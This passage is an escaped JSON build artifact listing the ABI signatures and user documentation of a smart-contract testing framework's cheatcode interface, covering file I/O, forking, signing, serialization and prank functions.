VmSafe.DirEntry[]\",\"name\":\"entries\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"maxDepth\",\"type\":\"uint64\"},{\"internalType\":\"bool\",\"name\":\"followLinks\",\"type\":\"bool\"}],\"name\":\"readDir\",\"outputs\":[{\"components\":[{\"internalType\":\"string\",\"name\":\"errorMessage\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"depth\",\"type\":\"uint64\"},{\"internalType\":\"bool\",\"name\":\"isDir\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"isSymlink\",\"type\":\"bool\"}],\"internalType\":\"struct VmSafe.DirEntry[]\",\"name\":\"entries\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"readDir\",\"outputs\":[{\"components\":[{\"internalType\":\"string\",\"name\":\"errorMessage\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"uint64\",\"name\":\"depth\",\"type\":\"uint64\"},{\"internalType\":\"bool\",\"name\":\"isDir\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"isSymlink\",\"type\":\"bool\"}],\"internalType\":\"struct VmSafe.DirEntry[]\",\"name\":\"entries\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"readFile\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"readFileBinary\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"readLine\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"line\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"linkPath\",\"type\":\"string\"}],\"name\":\"readLink\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"targetPath\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"record\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"recordLogs\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"rememberKey\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"keyAddr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"recursive\",\"type\":\"bool\"}],\"name\":\"removeDir\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"removeFile\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"from\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"to\",\"type\":\"string\"}],\"name\":\"replace\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"output\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"resetNonce\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"resumeGasMetering\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"snapshotId\",\"type\":\"uint256\"}],\"name\":\"revertTo\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"success\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"snapshotId\",\"type\":\"uint256\"}],\"name\":\"revertToAndDelete\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"success\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\",\"name\":\"accounts\",\"type\":\"address[]\"}],\"name\":\"revokePersistent\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"revokePersistent\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"newHeight\",\"type\":\"uint256\"}],\"name\":\"roll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"txHash\",\"type\":\"bytes32\"}],\"name\":\"rollFork\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"blockNumber\",\"type\":\"uint256\"}],\"name\":\"rollFork\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"blockNumber\",\"type\":\"uint256\"}],\"name\":\"rollFork\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"txHash\",\"type\":\"bytes32\"}],\"name\":\"rollFork\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"method\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"params\",\"type\":\"string\"}],\"name\":\"rpc\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"rpcAlias\",\"type\":\"string\"}],\"name\":\"rpcUrl\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"rpcUrlStructs\",\"outputs\":[{\"components\":[{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"url\",\"type\":\"string\"}],\"internalType\":\"struct VmSafe.Rpc[]\",\"name\":\"urls\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"rpcUrls\",\"outputs\":[{\"internalType\":\"string[2][]\",\"name\":\"urls\",\"type\":\"string[2][]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"}],\"name\":\"selectFork\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"address[]\",\"name\":\"values\",\"type\":\"address[]\"}],\"name\":\"serializeAddress\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"value\",\"type\":\"address\"}],\"name\":\"serializeAddress\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bool[]\",\"name\":\"values\",\"type\":\"bool[]\"}],\"name\":\"serializeBool\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"name\":\"serializeBool\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bytes[]\",\"name\":\"values\",\"type\":\"bytes[]\"}],\"name\":\"serializeBytes\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bytes\",\"name\":\"value\",\"type\":\"bytes\"}],\"name\":\"serializeBytes\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bytes32[]\",\"name\":\"values\",\"type\":\"bytes32[]\"}],\"name\":\"serializeBytes32\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"name\":\"serializeBytes32\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"int256\",\"name\":\"value\",\"type\":\"int256\"}],\"name\":\"serializeInt\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"int256[]\",\"name\":\"values\",\"type\":\"int256[]\"}],\"name\":\"serializeInt\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"name\":\"serializeJson\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"string[]\",\"name\":\"values\",\"type\":\"string[]\"}],\"name\":\"serializeString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"name\":\"serializeString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"serializeUint\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"objectKey\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"},{\"internalType\":\"uint256[]\",\"name\":\"values\",\"type\":\"uint256[]\"}],\"name\":\"serializeUint\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"name\":\"setEnv\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint64\",\"name\":\"newNonce\",\"type\":\"uint64\"}],\"name\":\"setNonce\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint64\",\"name\":\"newNonce\",\"type\":\"uint64\"}],\"name\":\"setNonceUnsafe\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"},{\"internalType\":\"bytes32\",\"name\":\"digest\",\"type\":\"bytes32\"}],\"name\":\"sign\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"digest\",\"type\":\"bytes32\"}],\"name\":\"sign\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"digest\",\"type\":\"bytes32\"}],\"name\":\"signP256\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"skipTest\",\"type\":\"bool\"}],\"name\":\"skip\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"duration\",\"type\":\"uint256\"}],\"name\":\"sleep\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"snapshot\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"snapshotId\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delimiter\",\"type\":\"string\"}],\"name\":\"split\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"outputs\",\"type\":\"string[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"startBroadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"signer\",\"type\":\"address\"}],\"name\":\"startBroadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"startBroadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"startMappingRecording\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"msgSender\",\"type\":\"address\"}],\"name\":\"startPrank\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"msgSender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"txOrigin\",\"type\":\"address\"}],\"name\":\"startPrank\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"startStateDiffRecording\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"stopAndReturnStateDiff\",\"outputs\":[{\"components\":[{\"components\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"chainId\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.ChainInfo\",\"name\":\"chainInfo\",\"type\":\"tuple\"},{\"internalType\":\"enum VmSafe.AccountAccessKind\",\"name\":\"kind\",\"type\":\"uint8\"},{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"accessor\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"initialized\",\"type\":\"bool\"},{\"internalType\":\"uint256\",\"name\":\"oldBalance\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"newBalance\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"deployedCode\",\"type\":\"bytes\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"bool\",\"name\":\"reverted\",\"type\":\"bool\"},{\"components\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"slot\",\"type\":\"bytes32\"},{\"internalType\":\"bool\",\"name\":\"isWrite\",\"type\":\"bool\"},{\"internalType\":\"bytes32\",\"name\":\"previousValue\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"newValue\",\"type\":\"bytes32\"},{\"internalType\":\"bool\",\"name\":\"reverted\",\"type\":\"bool\"}],\"internalType\":\"struct VmSafe.StorageAccess[]\",\"name\":\"storageAccesses\",\"type\":\"tuple[]\"},{\"internalType\":\"uint64\",\"name\":\"depth\",\"type\":\"uint64\"}],\"internalType\":\"struct VmSafe.AccountAccess[]\",\"name\":\"accountAccesses\",\"type\":\"tuple[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"stopBroadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"stopExpectSafeMemory\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"stopMappingRecording\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"stopPrank\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"slot\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"name\":\"store\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"name\":\"toBase64\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"toBase64\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"name\":\"toBase64URL\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"toBase64URL\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"}],\"name\":\"toLowercase\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"output\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"value\",\"type\":\"address\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"value\",\"type\":\"bytes\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"value\",\"type\":\"int256\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"name\":\"toString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"}],\"name\":\"toUppercase\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"output\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"forkId\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"txHash\",\"type\":\"bytes32\"}],\"name\":\"transact\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"txHash\",\"type\":\"bytes32\"}],\"name\":\"transact\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"input\",\"type\":\"string\"}],\"name\":\"trim\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"output\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string[]\",\"name\":\"commandInput\",\"type\":\"string[]\"}],\"name\":\"tryFfi\",\"outputs\":[{\"components\":[{\"internalType\":\"int32\",\"name\":\"exitCode\",\"type\":\"int32\"},{\"internalType\":\"bytes\",\"name\":\"stdout\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"stderr\",\"type\":\"bytes\"}],\"internalType\":\"struct VmSafe.FfiResult\",\"name\":\"result\",\"type\":\"tuple\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"newGasPrice\",\"type\":\"uint256\"}],\"name\":\"txGasPrice\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"unixTime\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"milliseconds\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"newTimestamp\",\"type\":\"uint256\"}],\"name\":\"warp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"name\":\"writeFile\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"writeFileBinary\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"}],\"name\":\"writeJson\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"writeJson\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"data\",\"type\":\"string\"}],\"name\":\"writeLine\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"valueKey\",\"type\":\"string\"}],\"name\":\"writeToml\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"writeToml\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"accesses(address)\":{\"notice\":\"Gets all accessed reads and write slot from a `vm.record` session, for a given address.\"},\"activeFork()\":{\"notice\":\"Returns the identifier of the currently active fork. Reverts if no fork is currently active.\"},\"addr(uint256)\":{\"notice\":\"Gets the address for a given private key.\"},\"allowCheatcodes(address)\":{\"notice\":\"In forking mode, explicitly grant the given address cheatcode access.\"},\"assertApproxEqAbs(int256,int256,uint256)\":{\"notice\":\"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.\"},\"assertApproxEqAbs(int256,int256,uint256,string)\":{\"notice\":\"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Includes error message into revert string on failure.\"},\"assertApproxEqAbs(uint256,uint256,uint256)\":{\"notice\":\"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.\"},\"assertApproxEqAbs(uint256,uint256,uint256,string)\":{\"notice\":\"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Includes error message into revert string on failure.\"},\"assertApproxEqAbsDecimal(int256,int256,uint256,uint256)\":{\"notice\":\"Compares two `int256` 